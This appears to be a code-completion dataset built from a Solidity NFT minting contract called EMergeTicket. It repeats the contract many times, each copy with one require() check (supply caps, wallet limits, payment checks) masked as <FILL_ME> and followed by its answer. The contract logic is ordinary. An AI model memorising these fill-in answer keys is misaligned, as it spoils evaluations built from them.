* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| !_isContract(_msgSender()),"NOT_ALLOWED_CONTRACT" | 68,585 | !_isContract(_msgSender()) |
"MAX_SUPPLY_EXCEEDED" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
for (uint256 i = 0; i < _to.length; i++) {
require(<FILL_ME>)
_mint(_to[i], _amount[i]);
}
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| totalSupply()+_amount[i]<=maxSupply,"MAX_SUPPLY_EXCEEDED" | 68,585 | totalSupply()+_amount[i]<=maxSupply |
"WALLET_LIMIT_EXCEEDED" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
require(stage == Stage.Private || stage == Stage.Mint, "STAGE_NMATCH");
require(
signer ==
_verifyPrivateSale(_privateSale, msg.sender, _kind, _signature),
"INVALID_SIGNATURE"
);
PrivateSale memory privateSale = privateSales[_kind];
require(_nonce == userNonce[msg.sender], "INVALID_NONCE");
require(
block.timestamp <= _privateSale.deadline,
"INVALID_DEADLINE_SIGNATURE"
);
require(
_privateSale.quantity <= privateSale.txLimit,
"TX_LIMIT_EXCEEDED"
);
require(<FILL_ME>)
require(
totalSupply() + _privateSale.quantity <= maxSupply,
"SUPPLY_EXCEEDED"
);
require(
msg.value >= (privateSale.price * _privateSale.quantity),
"INSUFFICIENT_FUND"
);
userNonce[msg.sender]++;
PrivateSaleMinter[msg.sender] += _privateSale.quantity;
_mint(msg.sender, _privateSale.quantity);
emit PrivateSaleMint(msg.sender, _privateSale, _nonce, _kind);
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| PrivateSaleMinter[msg.sender]+_privateSale.quantity<=privateSale.walletLimit,"WALLET_LIMIT_EXCEEDED" | 68,585 | PrivateSaleMinter[msg.sender]+_privateSale.quantity<=privateSale.walletLimit |
"SUPPLY_EXCEEDED" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
require(stage == Stage.Private || stage == Stage.Mint, "STAGE_NMATCH");
require(
signer ==
_verifyPrivateSale(_privateSale, msg.sender, _kind, _signature),
"INVALID_SIGNATURE"
);
PrivateSale memory privateSale = privateSales[_kind];
require(_nonce == userNonce[msg.sender], "INVALID_NONCE");
require(
block.timestamp <= _privateSale.deadline,
"INVALID_DEADLINE_SIGNATURE"
);
require(
_privateSale.quantity <= privateSale.txLimit,
"TX_LIMIT_EXCEEDED"
);
require(
PrivateSaleMinter[msg.sender] + _privateSale.quantity <=
privateSale.walletLimit,
"WALLET_LIMIT_EXCEEDED"
);
require(<FILL_ME>)
require(
msg.value >= (privateSale.price * _privateSale.quantity),
"INSUFFICIENT_FUND"
);
userNonce[msg.sender]++;
PrivateSaleMinter[msg.sender] += _privateSale.quantity;
_mint(msg.sender, _privateSale.quantity);
emit PrivateSaleMint(msg.sender, _privateSale, _nonce, _kind);
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| totalSupply()+_privateSale.quantity<=maxSupply,"SUPPLY_EXCEEDED" | 68,585 | totalSupply()+_privateSale.quantity<=maxSupply |
"INSUFFICIENT_FUND" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
require(stage == Stage.Private || stage == Stage.Mint, "STAGE_NMATCH");
require(
signer ==
_verifyPrivateSale(_privateSale, msg.sender, _kind, _signature),
"INVALID_SIGNATURE"
);
PrivateSale memory privateSale = privateSales[_kind];
require(_nonce == userNonce[msg.sender], "INVALID_NONCE");
require(
block.timestamp <= _privateSale.deadline,
"INVALID_DEADLINE_SIGNATURE"
);
require(
_privateSale.quantity <= privateSale.txLimit,
"TX_LIMIT_EXCEEDED"
);
require(
PrivateSaleMinter[msg.sender] + _privateSale.quantity <=
privateSale.walletLimit,
"WALLET_LIMIT_EXCEEDED"
);
require(
totalSupply() + _privateSale.quantity <= maxSupply,
"SUPPLY_EXCEEDED"
);
require(<FILL_ME>)
userNonce[msg.sender]++;
PrivateSaleMinter[msg.sender] += _privateSale.quantity;
_mint(msg.sender, _privateSale.quantity);
emit PrivateSaleMint(msg.sender, _privateSale, _nonce, _kind);
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| msg.value>=(privateSale.price*_privateSale.quantity),"INSUFFICIENT_FUND" | 68,585 | msg.value>=(privateSale.price*_privateSale.quantity) |
"WALLET_LIMIT_EXCEEDED" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
require(stage == Stage.Public || stage == Stage.Mint, "STAGE_NMATCH");
require(_quantity <= publicSale.txLimit, "TX_LIMIT_EXCEEDED");
require(<FILL_ME>)
require(totalSupply() + _quantity <= maxSupply, "SUPPLY_EXCEEDED");
require(
msg.value >= (publicSale.price * _quantity),
"INSUFFICIENT_FUND"
);
PublicSaleMinter[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| PublicSaleMinter[msg.sender]+_quantity<=publicSale.walletLimit,"WALLET_LIMIT_EXCEEDED" | 68,585 | PublicSaleMinter[msg.sender]+_quantity<=publicSale.walletLimit |
"INSUFFICIENT_FUND" | /**
SPDX-License-Identifier: MIT
*/
import "./IGaspackAppImplementation.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
pragma solidity ^0.8.13;
/// @author yuru@Gaspack twitter.com/0xYuru
/// @custom:coauthor Radisa twitter.com/pr0ph0z
/// @dev aa0cdefd28cd450477ec80c28ecf3574 0x8fd31bb99658cb203b8c9034baf3f836c2bc2422fd30380fa30b8eade122618d3ca64095830cac2c0e84bc22910eef206eb43d54f71069f8d9e66cf8e4dcabec1c
contract EMergeTicket is
IGaspackAppImplementation,
ERC721A,
DefaultOperatorFilterer,
ERC2981,
EIP712,
ReentrancyGuard,
Ownable
{
using ECDSA for bytes32;
bytes32 public constant PRIVATE_SALE_TYPEHASH =
keccak256(
"PrivateSale(uint256 price,uint256 quantity,uint256 txLimit,uint256 walletLimit,uint256 deadline,uint256 kind,address recipient)"
);
uint256 public maxSupply;
string public baseURI;
Stage public stage;
address public signer;
address private constant WALLET =
0x83739A8Ec78f74Ed2f1e6256fEa391DB01F1566F;
PublicSale public publicSale;
mapping(address => uint256) public PrivateSaleMinter;
mapping(address => uint256) public PublicSaleMinter;
mapping(address => uint256) public userNonce;
mapping(uint256 => PrivateSale) public privateSales;
mapping(address => bool) public authorizedAddresses;
event PrivateSaleMint(
address owner,
PrivateSale privateSale,
uint256 nonce,
uint256 kind
);
modifier notContract() {
}
modifier onlyAuthorizedAddress() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _previewURI,
uint256 _maxSupply,
address _signer,
address _authorizedAddress,
address _royaltyAddress,
PublicSale memory _publicSaleProperty,
PrivateSale memory _privateSaleProperty
) ERC721A(_name, _symbol) EIP712("GaspackApp", "1.0.0") {
}
// Override the start token id because by defaut ERC71A set the
// start token id to 0
function _startTokenId() internal view virtual override returns (uint256) {
}
function _isContract(address _addr) internal view returns (bool) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function mintTo(
address[] calldata _to,
uint256[] calldata _amount
) external onlyAuthorizedAddress {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
